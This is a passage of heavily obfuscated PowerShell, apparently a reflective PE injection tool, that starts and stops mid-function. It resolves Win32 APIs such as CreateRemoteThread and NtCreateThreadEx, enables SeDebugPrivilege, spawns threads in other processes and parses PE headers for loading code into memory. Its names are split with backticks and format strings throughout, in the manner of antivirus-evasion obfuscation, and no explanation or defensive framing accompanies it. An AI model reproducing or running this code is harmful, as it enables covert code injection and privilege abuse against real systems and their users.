${LookuP`Pr`iv`Il`eGeval`UE} = [System.Runtime.InteropServices.Marshal]::"g`eTDEl`Eg`At`efOrFUNCt`I`ONpoiNt`eR"(${lookuPPRIvI`l`EgeVA`LUeA`d`Dr}, ${l`o`OkUpPRIV`I`LeGe`Val`UEdEl`ega`TE})
${wiN`32`F`UNCTioNS} | &("{0}{1}{2}"-f 'Add','-M','ember') -MemberType ("{1}{0}{2}" -f'ePropert','Not','y') -Name ("{0}{4}{3}{1}{2}"-f 'Lookup','geVa','lue','rivile','P') -Value ${LO`OKU`Pp`RI`VI`LegeV`AlUe}
${imPe`RSOnatEsE`Lfad`dr} = &("{3}{1}{0}{2}"-f'roc','-P','Address','Get') ("{3}{1}{2}{0}"-f 'l','vapi32.','dl','Ad') ("{1}{3}{2}{0}"-f'f','Impers','eSel','onat')
${i`mPEr`sOnAT`eSElFDeLEga`TE} = &("{3}{1}{2}{4}{0}"-f'e','Del','egate','Get-','Typ') @([Int32]) ([Bool])
${i`MPersOn`AT`esELf} = [System.Runtime.InteropServices.Marshal]::"gE`TDELeg`ATEfORF`Un`CTiON`P`OINtER"(${i`M`perSo`Na`TESE`lfaDdr}, ${IMP`er`sOnaTeSELFDe`L`EGAtE})
${WIN3`2`F`UnCTIoNS} | &("{0}{1}{2}" -f 'Add-','M','ember') -MemberType ("{2}{1}{0}" -f'perty','ePro','Not') -Name ("{4}{3}{0}{2}{1}"-f 'sona','lf','teSe','per','Im') -Value ${iMp`ERSOnaT`e`sE`lf}
if (([Environment]::"oSv`er`si`on"."vE`RsION" -ge (&('a') 'Version' 6,0)) -and ([Environment]::"O`SvEr`SION"."VER`Sion" -lt (&('a') 'Version' 6,2))) {
${ntc`ReatE`T`HREADExAdDr} = &("{1}{0}{2}" -f'roc','Get-P','Address') ("{0}{1}{2}"-f 'Nt','Dl','l.dll') ("{0}{1}{3}{2}" -f 'Nt','Cre','eThreadEx','at')
${Nt`c`Reate`T`hR`EAD`ExDELEGatE} = &("{0}{3}{1}{2}{4}" -f'G','De','l','et-','egateType') @([IntPtr]."Ma`K`EBYr`eFTYpe"(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32])
${nT`cRe`AteThreA`deX} = [System.Runtime.InteropServices.Marshal]::"ge`TDElEg`ATEF`o`R`FUNcTIonPOiNTeR"(${N`TC`Re`A`T`E`THReaDExADDr}, ${ntCR`Ea`TEtHrEadEXdE`leGa`Te})
${wi`N`32fUnc`Tions} | &("{2}{0}{1}"-f 'dd-Mem','ber','A') -MemberType ("{0}{2}{1}{3}" -f'N','tePro','o','perty') -Name ("{2}{5}{0}{3}{1}{4}"-f 'e','hread','Nt','T','Ex','Creat') -Value ${ntCre`ATEt`hR`ead`Ex}
}
${iswoW`64`p`R`O`ceSs`ADDR} = &("{3}{0}{1}{2}" -f'r','o','cAddress','Get-P') ("{1}{2}{0}" -f'.dll','Ke','rnel32') ("{3}{2}{1}{0}"-f'ss','ce','ro','IsWow64P')
${ISwOW64procE`sSDe`LeG`A`Te} = &("{0}{2}{3}{1}"-f 'Ge','egateType','t-','Del') @([IntPtr], [Bool]."m`Ak`ebY`ReFT`YPe"()) ([Bool])
${Iswo`w64P`RoC`EsS} = [System.Runtime.InteropServices.Marshal]::"g`ETdELeGA`TEfo`RfuNcTIonp`OInT`er"(${is`wOW64`ProcE`Ss`Ad`dr}, ${IswOw`64Pro`CE`s`sdeLEga`Te})
${WIN`32FuNc`T`Io`Ns} | &("{1}{2}{0}{3}"-f 'b','A','dd-Mem','er') -MemberType ("{2}{1}{3}{0}" -f 'rty','t','No','ePrope') -Name ("{3}{1}{4}{0}{2}" -f'4Proces','w','s','IsWo','6') -Value ${isW`OW6`4p`RoCEsS}
${crE`ATet`hrEada`dDR} = &("{1}{3}{2}{0}" -f's','Ge','ddres','t-ProcA') ("{0}{2}{1}{3}" -f 'Ke','ne','r','l32.dll') ("{2}{0}{1}" -f'reateThre','ad','C')
${C`RE`Ate`THREAd`dE`leGATe} = &("{3}{2}{1}{0}"-f 'ateType','eg','el','Get-D') @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32]."mAkEbYRe`FTY`Pe"()) ([IntPtr])
${cREa`Teth`R`eAd} = [System.Runtime.InteropServices.Marshal]::"GE`TdELEgAtEf`ORfUNCTiOnpo`I`N`TEr"(${Cr`EAt`eT`HreadAd`DR}, ${C`Rea`TetH`ReA`Dd`elEGAtE})
${WIn32`FUn`c`TIOns} | &("{3}{0}{1}{2}" -f 'm','be','r','Add-Me') -MemberType ("{1}{3}{0}{2}"-f't','NotePro','y','per') -Name ("{2}{1}{0}" -f'hread','T','Create') -Value ${cReaT`E`Thr`EAd}
return ${W`iN3`2FuN`CtIO`Ns}
}
Function S`Ub`-SiG`NEdI`NTaS`Unsi`Gn`Ed
{
Param(
[Parameter(pOsItIOn = 0, maNDaTOry = ${t`RUe})]
[Int64]
${vA`LuE1},
[Parameter(pOSitIon = 1, manDaTORY = ${Tr`Ue})]
[Int64]
${vAl`Ue2}
)
[Byte[]]${v`A`luE`1BYtES} = [BitConverter]::"GETby`T`es"(${V`AlU`e1})
[Byte[]]${VaLue`2`ByteS} = [BitConverter]::"g`eT`Bytes"(${V`A`lue2})
[Byte[]]${FI`NaLByT`ES} = [BitConverter]::"Ge`TByt`eS"([UInt64]0)
if (${VaL`U`E1`BYTes}."cO`Unt" -eq ${val`U`E2`Bytes}."cO`UNt")
{
${cAR`RY`over} = 0
for (${I} = 0; ${I} -lt ${V`AlU`E1`BYteS}."cou`Nt"; ${i}++)
{
${v`AL} = ${valU`e1BY`TES}[${i}] - ${C`A`RRyovER}
if (${V`AL} -lt ${VA`LU`e2ByTES}[${i}])
{
${V`Al} += 256
${Ca`RrYOV`er} = 1
}
else
{
${Ca`RrYO`VEr} = 0
}
[UInt16]${s`Um} = ${V`AL} - ${valuE2B`y`T`Es}[${I}]
${fi`NAlb`y`TEs}[${i}] = ${S`Um} -band 0x00FF
}
}
else
{
Throw ""
}
return [BitConverter]::"To`Int`64"(${Fi`N`ALbYTES}, 0)
}
Function AdD-siGneDi`N`Tasu`N`sIGNED
{
Param(
[Parameter(PoSition = 0, MandaTORy = ${tR`UE})]
[Int64]
${vAlU`e1},
[Parameter(poSITiON = 1, maNdatORy = ${T`RUE})]
[Int64]
${vAL`U`e2}
)
[Byte[]]${vaLuE`1`ByteS} = [BitConverter]::"GeT`BYtEs"(${V`AL`UE1})
[Byte[]]${VAL`UE2By`Tes} = [BitConverter]::"GET`BYt`eS"(${v`ALUE2})
[Byte[]]${FI`N`ALb`ytES} = [BitConverter]::"G`EtBYT`es"([UInt64]0)
if (${vALUe`1bYT`es}."C`OuNT" -eq ${vAlU`E`2b`ytES}."c`oUnT")
{
${cA`RrY`OVER} = 0
for (${I} = 0; ${I} -lt ${VAL`UE1b`ytES}."co`UNt"; ${i}++)
{
[UInt16]${s`Um} = ${V`A`LUE1bytES}[${I}] + ${vA`lU`e2`ByTeS}[${i}] + ${cAR`RYO`Ver}
${f`i`NalBYTeS}[${I}] = ${S`Um} -band 0x00FF
if ((${S`UM} -band 0xFF00) -eq 0x100)
{
${c`ArR`YOVer} = 1
}
else
{
${Car`R`YoVer} = 0
}
}
}
else
{
Throw ""
}
return [BitConverter]::"tOin`T64"(${FIN`A`lBy`TEs}, 0)
}
Function C`om`pARe-VAL`1GREa`TeRT`hAnVAl2aS`UInt
{
Param(
[Parameter(pOSiTion = 0, MaNDATory = ${TR`UE})]
[Int64]
${va`Lue1},
[Parameter(pOSiTiON = 1, MAnDaTory = ${t`RUE})]
[Int64]
${Va`lu`e2}
)
[Byte[]]${VAlUe1`B`YtEs} = [BitConverter]::"g`e`TBytes"(${VAL`UE1})
[Byte[]]${vA`lue2b`yT`Es} = [BitConverter]::"geT`B`YtEs"(${vA`L`UE2})
if (${V`ALuE1b`Y`TEs}."c`OUNt" -eq ${ValUE2b`y`TeS}."c`OunT")
{
for (${i} = ${valUE`1`B`YteS}."C`OuNt"-1; ${i} -ge 0; ${I}--)
{
if (${VAL`U`e1ByT`eS}[${I}] -gt ${v`ALUE`2BYTes}[${i}])
{
return ${Tr`UE}
}
elseif (${va`L`UE1bYtEs}[${i}] -lt ${V`A`lUe2BYt`eS}[${I}])
{
return ${FaL`sE}
}
}
}
else
{
Throw ""
}
return ${f`ALse}
}
Function conveR`T-`UiNtT`oiNT
{
Param(
[Parameter(pOSItion = 0, mAndAToRY = ${tR`UE})]
[UInt64]
${VA`LUE}
)
[Byte[]]${value`B`y`Tes} = [BitConverter]::"ge`T`Bytes"(${vA`L`UE})
return ([BitConverter]::"Toi`NT64"(${vaLu`eBy`TEs}, 0))
}
Function Get-h`Ex
{
Param(
[Parameter(PoSITION = 0, maNDatORy = ${tr`Ue})]
${v`AlUe}
)
${va`lU`esize} = [System.Runtime.InteropServices.Marshal]::"si`z`eOF"([Type]${V`AlUE}."G`ettyPE"()) * 2
${H`EX} = "0x{0:X$($ValueSize)}" -f [Int64]${v`AluE}
return ${h`EX}
}
Function tE`sT-M`EmoRYr`ANG`EvaliD
{
Param(
[Parameter(PosITIOn = 0, mandaToRY = ${tr`Ue})]
[String]
${d`eBugsTRi`NG},
[Parameter(PoSITioN = 1, mandatorY = ${T`RuE})]
[System.Object]
${p`EI`NfO},
[Parameter(pOsitIon = 2, mandAtOrY = ${tr`Ue})]
[IntPtr]
${sT`ARtad`DrESS},
[Parameter(pArAMetERsEtnAme = "Size", pOsItiON = 3, manDatORY = ${tr`UE})]
[IntPtr]
${Si`zE}
)
[IntPtr]${fI`NA`lE`NDA`DDrESS} = [IntPtr](&("{6}{2}{4}{1}{5}{0}{3}" -f's','ignedI','d','igned','-S','ntAsUn','Ad') (${St`ARtA`Ddr`e`sS}) (${sI`ZE}))
${p`een`dAdD`REsS} = ${pE`inFo}."e`N`daD`dReSs"
if ((&("{4}{3}{0}{1}{5}{6}{2}"-f'a','terThanVa','t','1Gre','Compare-Val','l2','AsUIn') (${p`eiNFO}."p`ehAndle") (${STAr`Tadd`R`ESS})) -eq ${t`RUe})
{
Throw ""
}
if ((&("{0}{3}{7}{5}{2}{1}{4}{6}"-f 'Compa','n','ha','re','V','terT','al2AsUInt','-Val1Grea') (${fin`AlenDA`d`DREsS}) (${pe`EnD`A`dDRess})) -eq ${TR`Ue})
{
Throw ""
}
}
Function wr`ItE`-Byte`S`T`omE`MOrY
{
Param(
[Parameter(PoSition=0, mAndAtoRy = ${t`RUE})]
[Byte[]]
${b`yT`ES},
[Parameter(pOsItion=1, mANdaTORY = ${tr`Ue})]
[IntPtr]
${meMORy`Addre`ss}
)
for (${OF`Fset} = 0; ${oF`F`set} -lt ${bY`TES}."LEnG`Th"; ${ofFs`Et}++)
{
[System.Runtime.InteropServices.Marshal]::"w`RItEbY`TE"(${MeMoryadD`R`E`Ss}, ${O`F`Fset}, ${BYt`es}[${o`FF`Set}])
}
}
Function GeT-DE`lEGATE`T`yPE
{
Param
(
[OutputType([Type])]
[Parameter( POsITION = 0)]
[Type[]]
${pA`R`AMETerS} = (&('a') ("{1}{0}{2}" -f'pe[','Ty',']')(0)),
[Parameter( positiON = 1 )]
[Type]
${rET`Ur`Nty`PE} = [Void]
)
${d`oM`AIn} = [AppDomain]::"curRentD`oMA`in"
${DYNAs`SE`Mbly} = &('a') ("{5}{6}{1}{8}{2}{7}{3}{4}{0}" -f 'e','tem.R','flection.A','sembl','yNam','S','ys','s','e')('ReflectedDelegate')
${AsSE`m`BLYbUiL`D`ER} = ${doM`A`IN}."d`efinedYNAmIc`AS`S`EMB`Ly"(${DY`N`Asse`mBlY}, [System.Reflection.Emit.AssemblyBuilderAccess]::"r`UN")
${mODULe`B`U`IlDEr} = ${A`sSe`Mbl`YbuIL`dEr}."dEfInedYNa`Mic`modu`LE"('InMemoryModule', ${faL`SE})
${Typ`eb`U`iLDer} = ${Mod`ULEbuil`der}."de`F`I`NetYPE"('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
${c`OnsTr`U`Ct`OrbUI`LdEr} = ${Typeb`Ui`l`der}."d`EFINe`CoNs`Tru`ctOr"('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::"ST`AnDarD", ${paR`AmeT`e`RS})
${ConSt`Ructo`Rbuil`deR}."S`eTim`ple`mEntA`TI`oNF`Lags"('Runtime, Managed')
${m`EthodB`Uil`Der} = ${t`yPEBUIlD`eR}."DE`FIn`emE`ThOD"('Invoke', 'Public, HideBySig, NewSlot, Virtual', ${r`ETUrn`TYpe}, ${PA`Rame`T`ERs})
${m`ETHO`d`B`UilDEr}."SEtI`MP`L`eMEntaTI`O`NflagS"('Runtime, Managed')
&("{2}{0}{1}" -f'e-Outpu','t','Writ') ${tyP`EBU`ilder}."crE`ATET`Y`pe"()
}
Function G`ET-PrO`cAdDre`ss
{
Param
(
[OutputType([IntPtr])]
[Parameter( poSiTiON = 0, MaNDAtory = ${TR`UE} )]
[String]
${mOD`U`lE},
[Parameter( pOSITiOn = 1, mANDaToRy = ${tR`UE} )]
[String]
${Pr`OC`EduRe}
)
${SySTe`ma`SSeMbLY} = [AppDomain]::"c`URrEntdo`ma`iN"."Ge`TAS`SEmBlI`es"() |
&("{0}{1}{2}"-f 'Wh','ere-Obje','ct') { ${_}."GLo`Bala`SSEmB`LY`Ca`c`HE" -And ${_}."lOcA`Ti`On"."S`PLiT"('\\')[-1]."EqU`Als"('System.dll') }
${U`NS`AFeNAtIveMEThO`DS} = ${S`ySteM`As`Sem`BlY}."getty`pe"('Microsoft.Win32.UnsafeNativeMethods')
${get`MODU`leh`AnD`Le} = ${u`NsA`FeNA`TivEmeThodS}."GETmEt`HoD"('GetModuleHandle')
${GetpRoc`AdDRe`ss} = ${UN`SaFenAtiv`Emet`HO`DS}."G`E`TMEthOD"('GetProcAddress', [reflection.bindingflags] "Public,Static", ${nu`ll}, [System.Reflection.CallingConventions]::"a`NY", @((&('a') ("{5}{4}{6}{2}{0}{1}{7}{3}"-f'es.H','and','rvic','f','time.Interop','System.Run','Se','leRe'))."G`eTt`yPE"(), [string]), ${Nu`lL});
${keRN32`h`Andle} = ${GE`TM`o`duLeHaNdLe}."I`NVO`KE"(${N`ULl}, @(${Mo`dU`Le}))
${t`mpP`TR} = &('a') ("{0}{1}" -f 'IntPt','r')
${hANd`l`EReF} = &('a') ("{1}{6}{0}{7}{3}{4}{5}{2}" -f '.Inter','Sys','ndleRef','pS','ervices.H','a','tem.Runtime','o')(${Tm`PPtr}, ${Ke`Rn32`h`ANDle})
&("{0}{3}{2}{1}"-f 'Write-','ut','utp','O') ${gET`pr`OCaddR`eSS}."I`NVOkE"(${n`ULL}, @([System.Runtime.InteropServices.HandleRef]${H`AN`d`LeREF}, ${PRoc`E`dure}))
}
Function E`NAblE-`S`EDeBu`GPrI`VI`lEgE
{
Param(
[Parameter(posiTION = 1, MAndAtOrY = ${tr`Ue})]
[System.Object]
${W`iN32F`U`N`CTIOnS},
[Parameter(pOSITion = 2, maNDAtOrY = ${TR`Ue})]
[System.Object]
${W`IN32Ty`pes},
[Parameter(PositiON = 3, MaNDaTOrY = ${Tr`UE})]
[System.Object]
${WIn32`CON`sT`A`Nts}
)
[IntPtr]${tH`R`EadhAN`DLE} = ${WI`N32`Funct`iONs}."Ge`TcU`RReNTt`HrE`AD"."i`NVokE"()
if (${Th`REAdhAND`Le} -eq [IntPtr]::"z`eRO")
{
Throw ""
}
[IntPtr]${Thre`A`DtOken} = [IntPtr]::"zE`RO"
[Bool]${rES`ULt} = ${w`IN3`2f`UN`CtionS}."OPeNThrEAdT`ok`en"."InVo`Ke"(${TH`R`EA`Dh`ANDle}, ${wIn3`2C`o`NStA`Nts}."t`okEN`_Qu`eRy" -bor ${wiN3`2`cOnst`AntS}."tokE`N`_ADJUSt_`pRIVI`L`eges", ${Fal`sE}, [Ref]${T`HrEadToK`en})
if (${ReS`U`lT} -eq ${Fa`LSe})
{
${Erro`R`Code} = [System.Runtime.InteropServices.Marshal]::"GeTLAStW`In32`E`R`Ror"()
if (${ErrO`Rc`Ode} -eq ${WI`N`32COn`STaNTs}."eR`ROR_n`O_tO`k`en")
{
${RE`sult} = ${W`In32FUncT`iO`Ns}."iM`PErSona`T`eselF"."in`VOKe"(3)
if (${Re`S`UlT} -eq ${f`Al`Se})
{
Throw ""
}
${R`ESu`Lt} = ${wIN3`2F`UnCTiONS}."OpeNTH`ReAdTO`kEN"."IN`VOke"(${ThRe`Adha`NDlE}, ${W`in`32CoNSTA`NTS}."T`oken_qUE`Ry" -bor ${WIn`32co`N`StaNTS}."tO`Ke`N_AD`jUST_P`RivileGEs", ${F`A`lse}, [Ref]${T`h`ReadTO`kEN})
if (${RES`UlT} -eq ${FA`L`se})
{
Throw ""
}
}
else
{
Throw ""
}
}
[IntPtr]${pL`Uid} = [System.Runtime.InteropServices.Marshal]::"aLLochgL`OB`Al"([System.Runtime.InteropServices.Marshal]::"s`izEof"([Type]${Wi`N32`T`yPes}."lU`ID"))
${r`esuLT} = ${Win32F`UnCt`IONS}."LooKUpP`R`IVIleGe`VALuE"."InV`o`Ke"(${nU`ll}, "SeDebugPrivilege", ${pLu`id})
if (${r`esu`Lt} -eq ${FaL`Se})
{
Throw ""
}
[UInt32]${to`keN`P`R`Ivsize} = [System.Runtime.InteropServices.Marshal]::"S`IZeof"([Type]${w`IN32T`yp`Es}."TOkEn_`PrIvIlE`GES")
[IntPtr]${TOke`N`PrIVIlEGe`SMEm} = [System.Runtime.InteropServices.Marshal]::"aLLo`Ch`g`LoBAL"(${tO`kEnpRi`V`SIZe})
${t`O`KENpRiv`ILEGES} = [System.Runtime.InteropServices.Marshal]::"P`T`RtOsTru`CTURE"(${tOkE`NPRIvIle`G`Esm`Em}, [Type]${W`IN32t`YpEs}."TOK`en_`priVile`GEs")
${tO`Ken`PRIv`IlEG`Es}."PriVIl`EG`ecOunt" = 1
${tokenP`Ri`VIl`EG`es}."pri`Vi`LE`geS"."Lu`Id" = [System.Runtime.InteropServices.Marshal]::"PtR`TOstRUctU`Re"(${P`lUiD}, [Type]${w`In32`TYpEs}."L`UiD")
${T`o`kE`N`PriVI`Leges}."PriV`IleG`Es"."aTT`Ri`BUtes" = ${wiN`32`COn`STanTS}."sE_`p`RivILEGe`_`enAb`l`ED"
[System.Runtime.InteropServices.Marshal]::"sTRUC`TU`R`eT`opTR"(${tO`Kenpr`i`VileGES}, ${TO`kE`N`PrIVILegesmeM}, ${Tr`Ue})
${R`e`SuLT} = ${WIn3`2FUNC`TIOns}."adJu`s`TToKEnPRIV`IleGEs"."I`Nv`oKe"(${T`hre`ADT`OkEn}, ${f`AL`SE}, ${toKE`Np`RiVI`LeGE`s`Mem}, ${tOKe`NPRi`VSIzE}, [IntPtr]::"z`ero", [IntPtr]::"ZE`RO")
${erR`o`Rco`de} = [System.Runtime.InteropServices.Marshal]::"gE`T`LAStW`IN32`ERRoR"()
if ((${r`eSU`Lt} -eq ${fAL`SE}) -or (${ER`ROrCO`de} -ne 0))
{
}
[System.Runtime.InteropServices.Marshal]::"Fr`E`EHGlobal"(${tOk`e`NP`RIVIl`egeSMEm})
}
Function C`REatE-`Re`mOtE`THr`EaD
{
Param(
[Parameter(pOsITion = 1, mAndatoRy = ${TR`UE})]
[IntPtr]
${PrOce`sS`hA`N`dLE},
[Parameter(pOsiTiON = 2, mANDAtorY = ${t`Rue})]
[IntPtr]
${st`Arta`Ddre`Ss},
[Parameter(PosiTIon = 3, MAnDAtory = ${FAL`SE})]
[IntPtr]
${a`RGuM`ENtpTR} = [IntPtr]::"ze`Ro",
[Parameter(POSiTION = 4, MANDaTORY = ${tR`UE})]
[System.Object]
${WIn3`2FU`NctioNs}
)
[IntPtr]${ReMo`T`Et`hREadHan`dlE} = [IntPtr]::"ze`RO"
${o`sv`ERSI`On} = [Environment]::"O`Sv`ErSion"."VEr`s`iON"
if ((${OSv`e`RsIon} -ge (&('a') 'Version' 6,0)) -and (${O`SVER`s`ION} -lt (&('a') 'Version' 6,2)))
{
${Re`TVal}= ${w`i`N32fu`NcTioNs}."NTC`ReAtEt`HrEad`ex"."i`N`Voke"([Ref]${Re`MO`TethReAdh`AN`dLE}, 0x1FFFFF, [IntPtr]::"Ze`RO", ${PROc`eSSHan`D`LE}, ${sT`ArTAd`dreSs}, ${a`RGUMEn`T`pTR}, ${Fa`l`se}, 0, 0xffff, 0xffff, [IntPtr]::"z`erO")
${LAst`eR`R`Or} = [System.Runtime.InteropServices.Marshal]::"G`ETlAsT`win`32eR`ROr"()
if (${Rem`OTetH`Rea`DHANDle} -eq [IntPtr]::"z`ERO")
{
Throw ""
}
}
else
{
${r`emOtethR`e`ADHA`N`DlE} = ${WiN3`2`F`Unct`ioNS}."CREATeR`EMote`THrE`AD"."IN`VOke"(${pRocEsSh`A`ND`lE}, [IntPtr]::"zE`RO", [UIntPtr][UInt64]0xFFFF, ${STar`TaDD`R`E`sS}, ${aRgu`Me`Nt`PTr}, 0, [IntPtr]::"ze`Ro")
}
if (${rE`m`oTeTHR`eaDh`AN`D`Le} -eq [IntPtr]::"Z`eRO")
{
&("{2}{1}{0}" -f 'Error','e-','Writ') "" -ErrorAction ("{1}{0}" -f'top','S')
}
return ${R`EmoTetHre`A`dh`ANDLe}
}
Function gET-IMA`GE`NTHeAd`ers
{
Param(
[Parameter(POSItion = 0, MAnDAToRy = ${tr`UE})]
[IntPtr]
${pEh`A`NDLe},
[Parameter(poSItIOn = 1, ManDatorY = ${T`RuE})]
[System.Object]
${wIN`3`2tYpES}
)
${nTh`eA`dErS`Info} = &('a') ("{2}{3}{0}{1}"-f 'tem.Obje','ct','Sy','s')
${doshe`A`DeR} = [System.Runtime.InteropServices.Marshal]::"pTrTOS`T`RuCTU`RE"(${pe`H`AndlE}, [Type]${wIn32`TY`pES}."ImAGE_DOs`_H`ea`dEr")
[IntPtr]${N`T`HEaD`erS`pTr} = [IntPtr](&("{6}{4}{1}{5}{0}{3}{2}" -f 'As','In','ned','Unsig','dd-Signed','t','A') ([Int64]${PEh`A`NDle}) ([Int64][UInt64]${D`OS`hEADer}."e`_Lf`ANEw"))
${N`ThEAdE`R`sIn`Fo} | &("{0}{1}{2}"-f 'A','dd-Membe','r') -MemberType ("{2}{1}{0}" -f'erty','p','NotePro') -Name ("{0}{3}{2}{1}"-f 'N','Ptr','Headers','t') -Value ${N`THE`Ad`eRspTr}
${i`MA`gEnTHeAD`Ers64} = [System.Runtime.InteropServices.Marshal]::"pTR`T`OSTRuCtUrE"(${ntHEA`DER`SPTR}, [Type]${W`in`32TYPES}."i`mA`GE_Nt_`HeaDe`RS64")
if (${I`mag`ENthea`DEr`S64}."si`gnA`TU`Re" -ne 0x00004550)
{
throw ""
}
if (${IMag`E`NThEAD`erS64}."op`Ti`ONAlhEAD`eR"."m`AgiC" -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC')
{
${NT`He`ADE`RSInFO} | &("{3}{1}{0}{2}"-f'-Mem','dd','ber','A') -MemberType ("{2}{0}{1}{3}"-f'ePro','p','Not','erty') -Name ("{2}{3}{4}{0}{1}" -f 'NT_H','EADERS','I','M','AGE_') -Value ${Im`A`gEn`THea`deRs64}
${nT`H`EAd`E`RsiNfO} | &("{2}{0}{1}" -f 'dd-Mem','ber','A') -MemberType ("{3}{0}{2}{1}"-f'eP','perty','ro','Not') -Name ("{0}{1}{2}" -f'PE64B','i','t') -Value ${TR`Ue}
}
else
{
${im`AGe`NTHeaD`E`R`s32} = [System.Runtime.InteropServices.Marshal]::"PT`Rt`OSTrUct`UrE"(${NThe`AdeRSp`Tr}, [Type]${wiN`3`2tYpES}."I`MAGE_`Nt_heaDE`RS32")
${nTHEa`dERs`In`Fo} | &("{2}{1}{0}" -f 'ber','d-Mem','Ad') -MemberType ("{0}{3}{2}{1}"-f 'Note','erty','p','Pro') -Name ("{1}{0}{2}" -f 'AGE_NT_H','IM','EADERS') -Value ${i`MAgENTH`EaDER`S32}
${NThe`ADerSIN`FO} | &("{2}{1}{0}"-f 'ber','Mem','Add-') -MemberType ("{2}{3}{1}{0}" -f'ty','er','Not','eProp') -Name ("{0}{2}{1}"-f'P','64Bit','E') -Value ${Fal`SE}
}
return ${Nt`h`EA`dErs`iNfO}
}
Function g`ET-p`E`BasicIN`FO
{
Param(
[Parameter( poSITiON = 0, MAndAtOrY = ${t`RUe} )]
[Byte[]]
${P`E`BYTEs},
[Parameter(poSiTion = 1, MAndAtorY = ${TR`Ue})]
[System.Object]
${w`In32`T`YpEs}
)
${Pe`i`NFo} = &('a') ("{0}{2}{1}" -f 'System.Obj','t','ec')
[IntPtr]${U`NmA`NAgedPEBYt`Es} = [System.Runtime.InteropServices.Marshal]::"AllOch`GlOB`AL"(${p`eBYT`Es}."LeN`G`TH")
[System.Runtime.InteropServices.Marshal]::"c`opy"(${pe`BY`Tes}, 0, ${u`NM`An`A`gEdPEByTeS}, ${pEbyt`es}."l`E`NGth") | &("{1}{0}"-f'ut-Null','O')
${n`The`ADe`RsiNfo} = &("{4}{2}{0}{1}{3}"-f 'I','mage','-','NtHeaders','Get') -PEHandle ${U`NManaGedP`eB`Y`Tes} -Win32Types ${win3`2`TyPes}
${pe`InFO} | &("{2}{0}{1}"-f'Membe','r','Add-') -MemberType ("{2}{0}{1}" -f 't','eProperty','No') -Name 'PE64Bit' -Value (${ntH`Ead`eRsinFO}."pE6`4B`iT")
${Pei`Nfo} | &("{2}{1}{0}"-f 'er','d-Memb','Ad') -MemberType ("{0}{2}{1}" -f 'No','perty','tePro') -Name 'OriginalImageBase' -Value (${N`THe`Ad`eRSINfo}."I`MAg`E_Nt`_hEAdE`Rs"."OP`T`IoN`ALHe`Ader"."I`maG`EBase")
${p`EIn`Fo} | &("{2}{1}{0}" -f 'mber','d-Me','Ad') -MemberType ("{0}{2}{3}{1}" -f 'N','roperty','ote','P') -Name 'SizeOfImage' -Value (${N`TheA`DERSI`NfO}."ImagE_nT_`hE`A`derS"."Op`TION`ALHe`A`der"."siz`EoFIm`AgE")
${p`e`INFO} | &("{0}{3}{2}{1}"-f'A','r','be','dd-Mem') -MemberType ("{1}{2}{0}" -f'erty','Note','Prop') -Name 'SizeOfHeaders' -Value (${NTHe`AdeR`si`NFO}."I`m`AGe_n`T`_HEAdErS"."oPT`IonAL`h`eA`DEr"."S`iZe`oFh`e`AdERs")
${pei`NfO} | &("{2}{0}{1}"-f'Membe','r','Add-') -MemberType ("{1}{3}{0}{2}"-f 'o','Not','perty','ePr') -Name 'DllCharacteristics' -Value (${NTH`eADe`RsI`NfO}."I`MaG`e_NT`_he`AdErS"."OpTioN`AlHE`AD`er"."Dll`CHARA`C`Te`RIs`TiCS")
[System.Runtime.InteropServices.Marshal]::"fr`E`ehGLOBaL"(${u`NmaN`AGEd`P`eByTES})
return ${p`EiNFo}
}
Function gEt-`pEDe`T`AILedi`Nfo
{
Param(
[Parameter( PositION = 0, ManDatORy = ${tr`UE})]
[IntPtr]
${pe`H`ANDLe},
[Parameter(pOSITIOn = 1, MaNDatorY = ${t`RuE})]
[System.Object]
${wI`N`32ty`pEs},
[Parameter(pOSiTIOn = 2, MandATOrY = ${T`RuE})]
[System.Object]
${wIn3`2COnS`TANtS}
)
if (${pE`Hand`Le} -eq ${n`ULl} -or ${Pe`haNdLE} -eq [IntPtr]::"z`ero")
{
throw ''
}
${Pe`In`FO} = &('a') ("{0}{1}{3}{2}{4}"-f 'S','ys','m.','te','Object')
${n`ThEAD`ERSiNfo} = &("{0}{5}{2}{4}{1}{3}" -f'Get-','eade','ag','rs','eNtH','Im') -PEHandle ${PEHa`ND`lE} -Win32Types ${Wi`N32`TyP`ES}
${Pei`NFo} | &("{0}{2}{1}"-f'Add-Mem','er','b') -MemberType ("{1}{0}{3}{2}"-f 'P','Note','perty','ro') -Name ("{0}{1}{2}" -f 'PEH','and','le') -Value ${P`e`HANDle}
${pEi`Nfo} | &("{0}{1}{2}" -f 'Ad','d-','Member') -MemberType ("{0}{1}{3}{2}" -f 'Note','P','y','ropert') -Name ("{0}{1}{2}{3}"-f'IMAGE_','NT_H','EAD','ERS') -Value (${ntH`ea`d`ERSINfO}."IMAGe_N`T_`HE`A`DERS")
${pE`InfO} | &("{0}{2}{1}"-f 'Add','r','-Membe') -MemberType ("{2}{1}{0}"-f 'erty','eProp','Not') -Name ("{1}{0}{3}{2}"-f 'r','NtHeade','tr','sP') -Value (${n`T`he`AdE`RSINFO}."nT`hEaDE`R`sPTr")
${P`EI`NFO} | &("{1}{2}{0}" -f'mber','Add','-Me') -MemberType ("{2}{3}{1}{0}"-f 'perty','o','N','otePr') -Name ("{0}{1}"-f'PE64B','it') -Value (${NT`HeaD`erSin`Fo}."pE64`BiT")
${p`EI`NfO} | &("{1}{0}{2}"-f'dd-Me','A','mber') -MemberType ("{1}{0}{2}{3}" -f'op','NotePr','ert','y') -Name 'SizeOfImage' -Value (${nTHe`AdE`RS`In`Fo}."iMagE`_`Nt_Hea`D`eRs"."o`PtIonAL`HE`AdER"."SI`zeOf`iMage")
if (${pe`i`NFo}."Pe64`BiT" -eq ${tR`UE})
{
[IntPtr]${S`ec`TIoNHEAdER`P`Tr} = [IntPtr](&("{6}{2}{0}{3}{4}{5}{1}" -f'gn','d','dd-Si','ed','IntAsUns','igne','A') ([Int64]${p`eI`NFO}."nTh`eADER`S`Ptr") ([System.Runtime.InteropServices.Marshal]::"sI`ZEOf"([Type]${w`In3`2tYpEs}."iMAg`e_n`T_HeadE`R`s64")))
